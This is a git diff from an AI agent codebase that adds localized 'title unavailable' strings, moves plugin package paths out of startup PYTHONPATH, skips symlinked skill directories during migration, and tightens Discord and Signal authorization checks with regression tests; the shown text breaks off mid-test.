title_empty_untitled: "\n⚠️ Tá an teideal folamh tar éis glanta — seisiún tosaithe gan teideal."
tip: "\n✦ Leid: {tip}"
@@ -271,6 +272,7 @@ gateway:
db_unavailable: "Níl bunachar sonraí na seisiún ar fáil."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Tá an teideal folamh tar éis glanta. Bain úsáid as carachtair inphriontáilte le do thoil."
+ unavailable: "Níorbh fhéidir an teideal a chur i bhfeidhm."
set_to: "✏️ Teideal seisiúin socraithe: **{title}**"
not_found: "Seisiún gan a aimsiú sa bhunachar sonraí."
current_with_title: "📌 Seisiún: `{session_id}`\nTeideal: **{title}**"
diff --git a/locales/hu.yaml b/locales/hu.yaml
index 21fb4c81324e..baea8bef8f32 100644
--- a/locales/hu.yaml
+++ b/locales/hu.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Új munkamenet elindítva: {title}"
title_rejected: "\n⚠️ Cím elutasítva: {error}"
title_error_untitled: "\n⚠️ {error} — a munkamenet cím nélkül indult."
+ title_unavailable: "A címet nem sikerült alkalmazni."
title_empty_untitled: "\n⚠️ Tisztítás után a cím üres — a munkamenet cím nélkül indult."
tip: "\n✦ Tipp: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "A munkamenet-adatbázis nem érhető el."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Tisztítás után a cím üres. Használj nyomtatható karaktereket."
+ unavailable: "A címet nem sikerült alkalmazni."
set_to: "✏️ Munkamenet címe beállítva: **{title}**"
not_found: "A munkamenet nem található az adatbázisban."
current_with_title: "📌 Munkamenet: `{session_id}`\nCím: **{title}**"
diff --git a/locales/it.yaml b/locales/it.yaml
index 2e4d99401948..37bc6f1f46c5 100644
--- a/locales/it.yaml
+++ b/locales/it.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Nuova sessione avviata: {title}"
title_rejected: "\n⚠️ Titolo rifiutato: {error}"
title_error_untitled: "\n⚠️ {error} — sessione avviata senza titolo."
+ title_unavailable: "Impossibile applicare il titolo."
title_empty_untitled: "\n⚠️ Il titolo è vuoto dopo la pulizia — sessione avviata senza titolo."
tip: "\n✦ Suggerimento: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Database delle sessioni non disponibile."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Il titolo è vuoto dopo la pulizia. Usa caratteri stampabili."
+ unavailable: "Impossibile applicare il titolo."
set_to: "✏️ Titolo della sessione impostato: **{title}**"
not_found: "Sessione non trovata nel database."
current_with_title: "📌 Sessione: `{session_id}`\nTitolo: **{title}**"
diff --git a/locales/ja.yaml b/locales/ja.yaml
index 55c42915e659..877d9e9ca992 100644
--- a/locales/ja.yaml
+++ b/locales/ja.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ 新しいセッションを開始しました: {title}"
title_rejected: "\n⚠️ タイトルが拒否されました: {error}"
title_error_untitled: "\n⚠️ {error} — タイトルなしでセッションを開始しました。"
+ title_unavailable: "タイトルを適用できませんでした。"
title_empty_untitled: "\n⚠️ クリーンアップ後にタイトルが空になりました — タイトルなしでセッションを開始しました。"
tip: "\n✦ ヒント: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "セッションデータベースは利用できません。"
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ クリーンアップ後にタイトルが空になりました。印字可能な文字を使用してください。"
+ unavailable: "タイトルを適用できませんでした。"
set_to: "✏️ セッションタイトルを設定しました: **{title}**"
not_found: "データベースにセッションが見つかりません。"
current_with_title: "📌 セッション: `{session_id}`\nタイトル: **{title}**"
diff --git a/locales/ko.yaml b/locales/ko.yaml
index 11f5380e3197..32867cf610be 100644
--- a/locales/ko.yaml
+++ b/locales/ko.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ 새 세션이 시작되었습니다: {title}"
title_rejected: "\n⚠️ 제목이 거부되었습니다: {error}"
title_error_untitled: "\n⚠️ {error} — 제목 없이 세션을 시작했습니다."
+ title_unavailable: "제목을 적용할 수 없습니다."
title_empty_untitled: "\n⚠️ 정리 후 제목이 비어 있습니다 — 제목 없이 세션을 시작했습니다."
tip: "\n✦ 팁: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "세션 데이터베이스를 사용할 수 없습니다."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ 정리 후 제목이 비어 있습니다. 인쇄 가능한 문자를 사용해 주세요."
+ unavailable: "제목을 적용할 수 없습니다."
set_to: "✏️ 세션 제목 설정됨: **{title}**"
not_found: "데이터베이스에서 세션을 찾을 수 없습니다."
current_with_title: "📌 세션: `{session_id}`\n제목: **{title}**"
diff --git a/locales/pt.yaml b/locales/pt.yaml
index e74c218d6ba0..3f01181306b2 100644
--- a/locales/pt.yaml
+++ b/locales/pt.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Nova sessão iniciada: {title}"
title_rejected: "\n⚠️ Título rejeitado: {error}"
title_error_untitled: "\n⚠️ {error} — sessão iniciada sem título."
+ title_unavailable: "Não foi possível aplicar o título."
title_empty_untitled: "\n⚠️ O título fica vazio após a limpeza — sessão iniciada sem título."
tip: "\n✦ Dica: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Base de dados de sessões indisponível."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ O título está vazio após a limpeza. Usa caracteres imprimíveis."
+ unavailable: "Não foi possível aplicar o título."
set_to: "✏️ Título da sessão definido: **{title}**"
not_found: "Sessão não encontrada na base de dados."
current_with_title: "📌 Sessão: `{session_id}`\nTítulo: **{title}**"
diff --git a/locales/ru.yaml b/locales/ru.yaml
index c520362675d9..60c57efb9c8b 100644
--- a/locales/ru.yaml
+++ b/locales/ru.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Новый сеанс запущен: {title}"
title_rejected: "\n⚠️ Название отклонено: {error}"
title_error_untitled: "\n⚠️ {error} — сеанс запущен без названия."
+ title_unavailable: "Не удалось применить название."
title_empty_untitled: "\n⚠️ После очистки название пусто — сеанс запущен без названия."
tip: "\n✦ Совет: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "База данных сеансов недоступна."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ После очистки название пусто. Используйте печатные символы."
+ unavailable: "Не удалось применить название."
set_to: "✏️ Название сеанса установлено: **{title}**"
not_found: "Сеанс не найден в базе данных."
current_with_title: "📌 Сеанс: `{session_id}`\nНазвание: **{title}**"
diff --git a/locales/tr.yaml b/locales/tr.yaml
index 012854c51b3a..b0f189e9386f 100644
--- a/locales/tr.yaml
+++ b/locales/tr.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Yeni oturum başlatıldı: {title}"
title_rejected: "\n⚠️ Başlık reddedildi: {error}"
title_error_untitled: "\n⚠️ {error} — oturum başlıksız başlatıldı."
+ title_unavailable: "Başlık uygulanamadı."
title_empty_untitled: "\n⚠️ Temizlik sonrası başlık boş — oturum başlıksız başlatıldı."
tip: "\n✦ İpucu: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "Oturum veritabanı kullanılamıyor."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Temizlemeden sonra başlık boş. Lütfen yazdırılabilir karakterler kullanın."
+ unavailable: "Başlık uygulanamadı."
set_to: "✏️ Oturum başlığı ayarlandı: **{title}**"
not_found: "Oturum veritabanında bulunamadı."
current_with_title: "📌 Oturum: `{session_id}`\nBaşlık: **{title}**"
diff --git a/locales/uk.yaml b/locales/uk.yaml
index 44b011cfe836..213a9b5c7b4c 100644
--- a/locales/uk.yaml
+++ b/locales/uk.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ Нову сесію запущено: {title}"
title_rejected: "\n⚠️ Назву відхилено: {error}"
title_error_untitled: "\n⚠️ {error} — сесію запущено без назви."
+ title_unavailable: "Не вдалося застосувати назву."
title_empty_untitled: "\n⚠️ Після очищення назва порожня — сесію запущено без назви."
tip: "\n✦ Порада: {tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "База даних сеансів недоступна."
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ Після очищення назва порожня. Використовуйте друковані символи."
+ unavailable: "Не вдалося застосувати назву."
set_to: "✏️ Назву сеансу встановлено: **{title}**"
not_found: "Сеанс не знайдено в базі даних."
current_with_title: "📌 Сеанс: `{session_id}`\nНазва: **{title}**"
diff --git a/locales/zh-hant.yaml b/locales/zh-hant.yaml
index 362ea298de80..12cbed4a641f 100644
--- a/locales/zh-hant.yaml
+++ b/locales/zh-hant.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ 新工作階段已啟動:{title}"
title_rejected: "\n⚠️ 標題遭拒絕:{error}"
title_error_untitled: "\n⚠️ {error} — 工作階段以未命名方式啟動。"
+ title_unavailable: "無法套用標題。"
title_empty_untitled: "\n⚠️ 清理後標題為空 — 工作階段以未命名方式啟動。"
tip: "\n✦ 提示:{tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "工作階段資料庫無法使用。"
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ 清理後標題為空。請使用可列印字元。"
+ unavailable: "無法套用標題。"
set_to: "✏️ 已設定工作階段標題:**{title}**"
not_found: "在資料庫中找不到此工作階段。"
current_with_title: "📌 工作階段:`{session_id}`\n標題:**{title}**"
diff --git a/locales/zh.yaml b/locales/zh.yaml
index 7859a1a203c9..34cd786dc580 100644
--- a/locales/zh.yaml
+++ b/locales/zh.yaml
@@ -209,6 +209,7 @@ gateway:
header_titled: "✨ 新会话已启动:{title}"
title_rejected: "\n⚠️ 标题被拒绝:{error}"
title_error_untitled: "\n⚠️ {error} — 会话以未命名方式启动。"
+ title_unavailable: "无法应用标题。"
title_empty_untitled: "\n⚠️ 清理后标题为空 — 会话以未命名方式启动。"
tip: "\n✦ 提示:{tip}"
@@ -267,6 +268,7 @@ gateway:
db_unavailable: "会话数据库不可用。"
warn_prefix: "⚠️ {error}"
empty_after_clean: "⚠️ 清理后标题为空。请使用可打印字符。"
+ unavailable: "无法应用标题。"
set_to: "✏️ 已设置会话标题:**{title}**"
not_found: "未在数据库中找到该会话。"
current_with_title: "📌 会话:`{session_id}`\n标题:**{title}**"
diff --git a/nix/checks.nix b/nix/checks.nix
index 49955a6c5fd9..9aee3e37bf82 100644
--- a/nix/checks.nix
+++ b/nix/checks.nix
@@ -210,7 +210,7 @@ json.dump(sorted(leaf_paths(DEFAULT_CONFIG)), sys.stdout, indent=2)
echo "ok" > $out/result
'';
- # Verify extraPythonPackages PYTHONPATH injection
+ # Verify extraPythonPackages plugin-path injection
extra-python-packages = let
testPkg = pkgs.python312Packages.pyfiglet;
hermesWithExtra = hermes-agent.override {
@@ -218,19 +218,22 @@ json.dump(sorted(leaf_paths(DEFAULT_CONFIG)), sys.stdout, indent=2)
};
in pkgs.runCommand "hermes-extra-python-packages" { } ''
set -e
- echo "=== Checking extraPythonPackages PYTHONPATH injection ==="
+ echo "=== Checking extraPythonPackages plugin-path injection ==="
- grep -q "PYTHONPATH" ${hermesWithExtra}/bin/hermes || \
- (echo "FAIL: PYTHONPATH not in wrapper"; exit 1)
- echo "PASS: PYTHONPATH present in wrapper"
+ grep -q "HERMES_PLUGIN_PYTHONPATH" ${hermesWithExtra}/bin/hermes || \
+ (echo "FAIL: HERMES_PLUGIN_PYTHONPATH not in wrapper"; exit 1)
+ echo "PASS: HERMES_PLUGIN_PYTHONPATH present in wrapper"
grep -q "${testPkg}" ${hermesWithExtra}/bin/hermes || \
- (echo "FAIL: test package path not in PYTHONPATH"; exit 1)
+ (echo "FAIL: test package path not in HERMES_PLUGIN_PYTHONPATH"; exit 1)
echo "PASS: test package path found in wrapper"
- echo "=== Checking base package has no PYTHONPATH ==="
- if grep -q "PYTHONPATH" ${hermes-agent}/bin/hermes; then
- echo "FAIL: base package should not have PYTHONPATH"; exit 1
+ echo "=== Checking base package has no plugin Python path ==="
+ if grep -q "HERMES_PLUGIN_PYTHONPATH" ${hermes-agent}/bin/hermes; then
+ echo "FAIL: base package should not set HERMES_PLUGIN_PYTHONPATH"; exit 1
+ fi
+ if grep -Eq "(^|[^A-Z_])PYTHONPATH=" ${hermesWithExtra}/bin/hermes; then
+ echo "FAIL: extraPythonPackages must not set startup PYTHONPATH"; exit 1
fi
echo "PASS: base package clean"
diff --git a/nix/hermes-agent.nix b/nix/hermes-agent.nix
index 92a48003aaf7..8615224acd59 100644
--- a/nix/hermes-agent.nix
+++ b/nix/hermes-agent.nix
@@ -76,12 +76,13 @@ let
sitePackagesPath = python312.sitePackages;
- # Walk propagatedBuildInputs to include transitive Python deps in PYTHONPATH.
- # Without this, a plugin listing e.g. requests as a dep would fail at runtime
- # if requests isn't already in the sealed uv2nix venv.
+ # Walk propagatedBuildInputs so entry-point plugins can see their transitive
+ # Python dependencies when the plugin manager opts them into sys.path. Do
+ # not expose these paths through PYTHONPATH: Python processes it during
+ # interpreter startup, before Hermes can enforce plugins.enabled.
allExtraPythonPackages = python312.pkgs.requiredPythonModules extraPythonPackages;
- pythonPath = lib.makeSearchPath sitePackagesPath allExtraPythonPackages;
+ pluginPythonPath = lib.makeSearchPath sitePackagesPath allExtraPythonPackages;
pyprojectHash = builtins.hashString "sha256" (builtins.readFile ../pyproject.toml);
uvLockHash =
@@ -159,7 +160,7 @@ stdenv.mkDerivation {
--set HERMES_PYTHON ${hermesVenv}/bin/python3 \
--set HERMES_NODE ${lib.getExe nodejs} \
${lib.optionalString (rev != null) ''--set HERMES_REVISION ${rev} \''}
- ${lib.optionalString (extraPythonPackages != [ ]) ''--suffix PYTHONPATH : "${pythonPath}"''}
+ ${lib.optionalString (extraPythonPackages != [ ]) ''--set HERMES_PLUGIN_PYTHONPATH "${pluginPythonPath}"''}
'')
[
"hermes"
diff --git a/nix/nixosModules.nix b/nix/nixosModules.nix
index 10a17b8be36c..926d7eb5fea8 100644
--- a/nix/nixosModules.nix
+++ b/nix/nixosModules.nix
@@ -490,7 +490,7 @@
type = types.listOf types.package;
default = [ ];
description = ''
- Python packages to add to PYTHONPATH for entry-point plugin discovery.
+ Python packages to expose to Hermes for entry-point plugin discovery without adding them to startup PYTHONPATH.
These are pip-packaged plugins that register via the
hermes_agent.plugins entry-point group. Each package must be built
with the same Python interpreter as hermes (python312).
diff --git a/optional-skills/migration/openclaw-migration/scripts/openclaw_to_hermes.py b/optional-skills/migration/openclaw-migration/scripts/openclaw_to_hermes.py
index 6ebb1d754005..a22c2168c8fa 100644
--- a/optional-skills/migration/openclaw-migration/scripts/openclaw_to_hermes.py
+++ b/optional-skills/migration/openclaw-migration/scripts/openclaw_to_hermes.py
@@ -1846,6 +1846,20 @@ def _import_skill_directory(self, source_root: Path, kind_label: str, desc: str)
return
for skill_dir in skill_dirs:
+ symlink_path = self._find_first_symlink(skill_dir)
+ if symlink_path is not None:
+ if symlink_path == skill_dir:
+ symlink_desc = "(skill directory is itself a symlink)"
+ else:
+ symlink_desc = str(symlink_path.relative_to(skill_dir))
+ self.record(
+ kind_label,
+ skill_dir,
+ destination_root / skill_dir.name,
+ "skipped",
+ f"Skipped skill containing symlink: {symlink_desc}",
+ )
+ continue
destination = destination_root / skill_dir.name
final_destination = destination
if destination.exists():
@@ -1956,6 +1970,20 @@ def migrate_skills(self) -> None:
return
for skill_dir in skill_dirs:
+ symlink_path = self._find_first_symlink(skill_dir)
+ if symlink_path is not None:
+ if symlink_path == skill_dir:
+ symlink_desc = "(skill directory is itself a symlink)"
+ else:
+ symlink_desc = str(symlink_path.relative_to(skill_dir))
+ self.record(
+ "skill",
+ skill_dir,
+ destination_root / skill_dir.name,
+ "skipped",
+ f"Skipped skill containing symlink: {symlink_desc}",
+ )
+ continue
destination = destination_root / skill_dir.name
final_destination = destination
if destination.exists():
@@ -1997,6 +2025,16 @@ def migrate_skills(self) -> None:
elif not desc_path.exists():
self.record("skill-category", None, desc_path, "migrated", "Would create category description")
+ @staticmethod
+ def _find_first_symlink(skill_dir: Path) -> Optional[Path]:
+ """Return the first symlink found in a skill directory tree, if any."""
+ if skill_dir.is_symlink():
+ return skill_dir
+ for path in skill_dir.rglob("*"):
+ if path.is_symlink():
+ return path
+ return None
+
def copy_tree_non_destructive(
self,
source_root: Optional[Path],
diff --git a/plugins/memory/honcho/cli.py b/plugins/memory/honcho/cli.py
index 402389ab962f..09fab3a49836 100644
--- a/plugins/memory/honcho/cli.py
+++ b/plugins/memory/honcho/cli.py
@@ -430,7 +430,7 @@ def cmd_setup(args) -> None:
if new_ai:
hermes_host["aiPeer"] = new_ai
- current_workspace = hermes_host.get("workspace") or cfg.get("workspace", "hermes")
+ current_workspace = hermes_host.get("workspace") or cfg.get("workspace") or _host_key()
new_workspace = _prompt("Workspace ID", default=current_workspace)
if new_workspace:
hermes_host["workspace"] = new_workspace
diff --git a/plugins/memory/honcho/session.py b/plugins/memory/honcho/session.py
index e0b31f704b72..6b52676f157f 100644
--- a/plugins/memory/honcho/session.py
+++ b/plugins/memory/honcho/session.py
@@ -878,6 +878,7 @@ def _fetch_peer_context(
self,
peer_id: str,
search_query: str | None = None,
+ max_tokens: int | None = None,
*,
target: str | None = None,
) -> dict[str, Any]:
@@ -892,6 +893,8 @@ def _fetch_peer_context(
context_kwargs["target"] = target
if search_query is not None:
context_kwargs["search_query"] = search_query
+ if max_tokens is not None:
+ context_kwargs["tokens"] = max_tokens
ctx = peer.context(**context_kwargs) if context_kwargs else peer.context()
representation = (
getattr(ctx, "representation", None)
@@ -1073,6 +1076,7 @@ def search_context(
ctx = self._fetch_peer_context(
observer_peer_id,
search_query=query,
+ max_tokens=max_tokens,
target=target,
)
parts = []
diff --git a/run_agent.py b/run_agent.py
index e6c300bf9033..55c8bd802be0 100644
--- a/run_agent.py
+++ b/run_agent.py
@@ -9800,9 +9800,11 @@ def _build_assistant_message(self, assistant_message, finish_reason: str) -> dic
# scrub is required so a model/provider echo of ephemeral recalled memory
# cannot become durable session history or Responses API replay state.
if isinstance(_san_content, str) and _san_content:
- _san_content = sanitize_context(
- self._strip_think_blocks(_san_content)
- ).strip()
+ _stripped_content = self._strip_think_blocks(_san_content)
+ if isinstance(_stripped_content, str):
+ _san_content = sanitize_context(_stripped_content).strip()
+ else:
+ _san_content = sanitize_context(_san_content).strip()
msg = {
"role": "assistant",
diff --git a/scripts/whatsapp-bridge/package-lock.json b/scripts/whatsapp-bridge/package-lock.json
index b662982cf5a3..c69749267e8c 100644
--- a/scripts/whatsapp-bridge/package-lock.json
+++ b/scripts/whatsapp-bridge/package-lock.json
@@ -629,13 +629,12 @@
"license": "BSD-3-Clause"
},
"node_modules/@protobufjs/fetch": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz",
- "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz",
+ "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==",
"license": "BSD-3-Clause",
"dependencies": {
- "@protobufjs/aspromise": "^1.1.1",
- "@protobufjs/inquire": "^1.1.0"
+ "@protobufjs/aspromise": "^1.1.1"
}
},
"node_modules/@protobufjs/float": {
@@ -645,9 +644,9 @@
"license": "BSD-3-Clause"
},
"node_modules/@protobufjs/inquire": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.1.tgz",
- "integrity": "sha512-mnzgDV26ueAvk7rsbt9L7bE0SuAoqyuys/sMMrmVcN5x9VsxpcG3rqAUSgDyLp0UZlmNfIbQ4fHfCtreVBk8Ew==",
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.2.tgz",
+ "integrity": "sha512-pa0vFRuws4wkvaXKK1uXZMAwAX4/t8ANaJo45iw/oQHNQ9q5xUzwgFmVJGXiga2BeN+zpX7Vf9vmsiIa2J+MUw==",
"license": "BSD-3-Clause"
},
"node_modules/@protobufjs/path": {
@@ -1620,9 +1619,9 @@
"license": "MIT"
},
"node_modules/protobufjs": {
- "version": "7.5.6",
- "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.6.tgz",
- "integrity": "sha512-M71sTMB146U3u0di3yup8iM+zv8yPRNQVr1KK4tyBitl3qFvEGucq/rGDRShD2rsJhtN02RJaJ7j5X5hmy8SJg==",
+ "version": "7.6.0",
+ "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.0.tgz",
+ "integrity": "sha512-LtESOsMPTZgyYtwxhvdgdjGL0HmXEaRA/hVD6sol4zA60hVXXXP/SGmxnqDbgGE8gy7pYex7cym+5vYPcmaXBQ==",
"hasInstallScript": true,
"license": "BSD-3-Clause",
"dependencies": {
@@ -1630,14 +1629,14 @@
"@protobufjs/base64": "^1.1.2",
"@protobufjs/codegen": "^2.0.5",
"@protobufjs/eventemitter": "^1.1.0",
- "@protobufjs/fetch": "^1.1.0",
+ "@protobufjs/fetch": "^1.1.1",
"@protobufjs/float": "^1.0.2",
- "@protobufjs/inquire": "^1.1.1",
+ "@protobufjs/inquire": "^1.1.2",
"@protobufjs/path": "^1.1.2",
"@protobufjs/pool": "^1.1.0",
"@protobufjs/utf8": "^1.1.1",
"@types/node": ">=13.7.0",
- "long": "^5.0.0"
+ "long": "^5.3.2"
},
"engines": {
"node": ">=12.0.0"
diff --git a/tests/gateway/test_config.py b/tests/gateway/test_config.py
index 1c723b5b265d..e1dcec3e182d 100644
--- a/tests/gateway/test_config.py
+++ b/tests/gateway/test_config.py
@@ -382,7 +382,7 @@ def test_bridges_telegram_channel_prompts_from_config_yaml(self, tmp_path, monke
"telegram:\n"
" channel_prompts:\n"
' "-1001234567": Research assistant\n'
- " 789: Creative writing\n",
+ ' "-1001234567:789": Creative writing\n',
encoding="utf-8",
)
@@ -392,7 +392,7 @@ def test_bridges_telegram_channel_prompts_from_config_yaml(self, tmp_path, monke
assert config.platforms[Platform.TELEGRAM].extra["channel_prompts"] == {
"-1001234567": "Research assistant",
- "789": "Creative writing",
+ "-1001234567:789": "Creative writing",
}
def test_bridges_slack_channel_prompts_from_config_yaml(self, tmp_path, monkeypatch):
diff --git a/tests/gateway/test_discord_bot_auth_bypass.py b/tests/gateway/test_discord_bot_auth_bypass.py
index 8ff39a1bf499..b738221e232d 100644
--- a/tests/gateway/test_discord_bot_auth_bypass.py
+++ b/tests/gateway/test_discord_bot_auth_bypass.py
@@ -1,16 +1,21 @@
-"""Regression guard for #4466: DISCORD_ALLOW_BOTS works without DISCORD_ALLOWED_USERS.
+"""Regression guard for Discord bot authorization at the gateway level.
-The bug had two sequential gates both rejecting bot messages:
+Original issue #4466: DISCORD_ALLOW_BOTS bypassed DISCORD_ALLOWED_USERS.
- Gate 1 — `on_message` in gateway/platforms/discord.py ran the user-allowlist
- check BEFORE the bot filter, so bot senders were dropped with a warning
- before the DISCORD_ALLOW_BOTS policy was ever evaluated.
+Security fix: the gateway-level bot bypass (Platform.DISCORD in
+platform_allow_bots_map) was removed because DISCORD_ALLOW_BOTS=mentions/all
+allowed any Discord bot/webhook sender to skip DISCORD_ALLOWED_USERS and
+pairing checks entirely.
- Gate 2 — `_is_user_authorized` in gateway/run.py rejected bots at the
- gateway level even if they somehow reached that layer.
+New behavior (Gateway 2 — `_is_user_authorized`):
+ - DISCORD_ALLOW_BOTS no longer auto-authorizes bots at the gateway layer.
+ - Bot senders must be listed in DISCORD_ALLOWED_USERS or approved via the
+ pairing store to be authorized, just like human senders.
+ - DISCORD_ALLOWED_ROLES bypass is unchanged (adapter pre-filters by role).
-These tests assert both gates now pass a bot message through when
-DISCORD_ALLOW_BOTS permits it AND no user allowlist entry exists.
+Gate 1 behavior (`on_message` in gateway/platforms/discord.py) is unchanged:
+it still applies the DISCORD_ALLOW_BOTS policy to decide whether to forward
+bot messages at all; the gateway layer then applies its own user/pairing check.
"""
import os
@@ -40,7 +45,7 @@ def _isolate_discord_env(monkeypatch):
# -----------------------------------------------------------------------------
-# Gate 2: _is_user_authorized bypasses allowlist for permitted bots
+# Gate 2: _is_user_authorized — bots must use DISCORD_ALLOWED_USERS or pairing
# -----------------------------------------------------------------------------
@@ -81,14 +86,15 @@ def _make_discord_human_source(user_id: str = "100200300"):
)
-def test_discord_bot_authorized_when_allow_bots_mentions(monkeypatch):
- """DISCORD_ALLOW_BOTS=mentions must authorize a bot sender even when
- DISCORD_ALLOWED_USERS is set and the bot's ID is NOT in it.
+def test_discord_bot_NOT_authorized_by_allow_bots_alone_mentions(monkeypatch):
+ """DISCORD_ALLOW_BOTS=mentions must NOT auto-authorize a bot sender that is
+ absent from DISCORD_ALLOWED_USERS and not in the pairing store.
- This is the exact scenario from #4466 — a Cloudflare Worker webhook
- posts Notion events to Discord, the Hermes bot gets @mentioned, and
- the webhook's bot ID is not (and shouldn't be) on the human
- allowlist.
+ Security fix (#4466 follow-up): the gateway-level DISCORD_ALLOW_BOTS bypass
+ was removed because it allowed any Discord bot/webhook sender to skip
+ DISCORD_ALLOWED_USERS and pairing checks. Bot senders (e.g., a Cloudflare
+ Worker webhook) must now be explicitly added to DISCORD_ALLOWED_USERS or
+ approved via pairing to be authorized.
"""
runner = _make_bare_runner()
@@ -96,17 +102,38 @@ def test_discord_bot_authorized_when_allow_bots_mentions(monkeypatch):
monkeypatch.setenv("DISCORD_ALLOWED_USERS", "100200300") # human-only allowlist
source = _make_discord_bot_source(bot_id="999888777")
- assert runner._is_user_authorized(source) is True
+ assert runner._is_user_authorized(source) is False
-def test_discord_bot_authorized_when_allow_bots_all(monkeypatch):
- """DISCORD_ALLOW_BOTS=all is a superset of =mentions — should also bypass."""
+def test_discord_bot_NOT_authorized_by_allow_bots_alone_all(monkeypatch):
+ """DISCORD_ALLOW_BOTS=all must NOT auto-authorize a bot not in DISCORD_ALLOWED_USERS.
+
+ Security fix: DISCORD_ALLOW_BOTS no longer short-circuits gateway
+ authorization. Bots must be listed in DISCORD_ALLOWED_USERS (or approved
+ via pairing) regardless of the DISCORD_ALLOW_BOTS setting.
+ """
runner = _make_bare_runner()
monkeypatch.setenv("DISCORD_ALLOW_BOTS", "all")
monkeypatch.setenv("DISCORD_ALLOWED_USERS", "100200300")
source = _make_discord_bot_source()
+ assert runner._is_user_authorized(source) is False
+
+
+def test_discord_bot_authorized_when_in_allowed_users(monkeypatch):
+ """A bot sender explicitly listed in DISCORD_ALLOWED_USERS is authorized,
+ regardless of the DISCORD_ALLOW_BOTS setting.
+
+ This is the correct way to authorize a trusted bot/webhook (e.g., a
+ Cloudflare Worker): add its bot ID to DISCORD_ALLOWED_USERS.
+ """
+ runner = _make_bare_runner()
+
+ monkeypatch.setenv("DISCORD_ALLOW_BOTS", "mentions")
+ monkeypatch.setenv("DISCORD_ALLOWED_USERS", "100200300,999888777") # bot ID on allowlist
+
+ source = _make_discord_bot_source(bot_id="999888777")
assert runner._is_user_authorized(source) is True
diff --git a/tests/gateway/test_msgraph_webhook.py b/tests/gateway/test_msgraph_webhook.py
index 169daa664b4a..2ec5d3aaaba5 100644
--- a/tests/gateway/test_msgraph_webhook.py
+++ b/tests/gateway/test_msgraph_webhook.py
@@ -266,7 +266,10 @@ async def _capture(notification, event):
await asyncio.sleep(0.05)
+ assert adapter._duplicate_count == 0
assert len(scheduled) == 2
+ assert scheduled[0][1].message_id == ""
+ assert scheduled[1][1].message_id == ""
@pytest.mark.anyio
async def test_resource_patterns_accept_leading_slash(self):
diff --git a/tests/gateway/test_signal.py b/tests/gateway/test_signal.py
index af81f59e8cdd..1294b92e2c81 100644
--- a/tests/gateway/test_signal.py
+++ b/tests/gateway/test_signal.py
@@ -352,6 +352,87 @@ def test_short_number_not_matched(self):
assert "+12345" in result # Too short to redact
+# ---------------------------------------------------------------------------
+# Signal processing reactions authorization
+# ---------------------------------------------------------------------------
+
+class TestSignalReactionAuthorization:
+ def _event(self):
+ from gateway.platforms.base import MessageEvent
+ from gateway.session import SessionSource
+
+ source = SessionSource(
+ platform=Platform.SIGNAL,
+ chat_id="+15550001111",
+ chat_type="dm",
+ user_id="+15550001111",
+ user_name="unauthorized",
+ )
+ return MessageEvent(
+ source=source,
+ text="hello",
+ raw_message={"sender": "+15550001111", "timestamp_ms": 1710000000000},
+ )
+
+ @pytest.mark.asyncio
+ async def test_reaction_hooks_skip_gateway_denied_sender(self, monkeypatch):
+ """Signal reactions must not bypass the gateway allowlist decision."""
+ from gateway.platforms.base import ProcessingOutcome
+
+ monkeypatch.setenv("SIGNAL_ALLOWED_USERS", "*")
+ adapter = _make_signal_adapter(monkeypatch)
+ adapter.gateway_runner = MagicMock()
+ adapter.gateway_runner._is_user_authorized.return_value = False
+ adapter.send_reaction = AsyncMock()
+ adapter.remove_reaction = AsyncMock()
+ event = self._event()
+
+ await adapter.on_processing_start(event)
+ await adapter.on_processing_complete(event, ProcessingOutcome.SUCCESS)
+
+ adapter.gateway_runner._is_user_authorized.assert_any_call(event.source)
+ adapter.send_reaction.assert_not_awaited()
+ adapter.remove_reaction.assert_not_awaited()
+
+ @pytest.mark.asyncio
+ async def test_reaction_hooks_allow_gateway_authorized_sender(self, monkeypatch):
+ """Authorized Signal messages keep the existing progress reactions."""
+ from gateway.platforms.base import ProcessingOutcome
+
+ monkeypatch.setenv("SIGNAL_ALLOWED_USERS", "*")
